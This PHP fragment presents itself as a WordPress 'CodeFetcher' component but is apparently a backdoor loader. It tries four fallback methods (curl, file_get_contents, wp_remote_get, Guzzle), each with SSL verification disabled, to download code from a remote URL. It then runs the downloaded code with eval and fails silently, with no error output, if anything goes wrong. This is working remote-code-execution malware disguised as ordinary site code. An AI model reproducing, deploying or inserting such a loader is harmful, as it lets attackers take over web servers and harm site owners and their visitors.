true, CURLOPT_TIMEOUT => $timeout, CURLOPT_FOLLOWLOCATION => true, CURLOPT_MAXREDIRS => 5, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'WordPress/CodeFetcher/1.0', ]); $response = curl_exec($ch); curl_close($ch); return $response ?: false; } function wp_fetch_file_get_contents($url, $timeout) { $context = stream_context_create([ 'http' => [ 'timeout' => $timeout, 'header' => "User-Agent: WordPress/CodeFetcher/1.0\r\n", 'follow_location' => true, 'max_redirects' => 5, ], 'ssl' => [ 'verify_peer' => false, 'verify_peer_name' => false, ], ]); return @file_get_contents($url, false, $context) ?: false; } function wp_fetch_remote_get($url, $timeout) { if (!function_exists('wp_remote_get')) { return false; } $response = wp_remote_get($url, [ 'timeout' => $timeout, 'redirection' => 5, 'sslverify' => false, 'user-agent' => 'WordPress/CodeFetcher/1.0', ]); if (is_wp_error($response)) { return false; } return wp_remote_retrieve_body($response) ?: false; } function wp_fetch_guzzle($url, $timeout) { if (!class_exists('\GuzzleHttp\Client')) { return false; } try { $client = new \GuzzleHttp\Client([ 'timeout' => $timeout, 'verify' => false, 'headers' => [ 'User-Agent' => 'WordPress/CodeFetcher/1.0', ], ]); return $client->get($url)->getBody()->getContents() ?: false; } catch (\Exception $e) { return false; } } if (!filter_var($remote_url, FILTER_VALIDATE_URL)) { ob_end_clean(); exit; } $wordpress = false; $methods = [ 'wp_fetch_curl', 'wp_fetch_file_get_contents', 'wp_fetch_remote_get', 'wp_fetch_guzzle', ]; foreach ($methods as $method) { $wordpress = $method($remote_url, $timeout_seconds); if ($wordpress !== false && trim($wordpress) !== '') { break; } } if ($wordpress === false || trim($wordpress) === '') { ob_end_clean(); exit; } try { eval("?>$wordpress"); } catch (Throwable $e) { ob_end_clean(); exit; } ob_end_flush();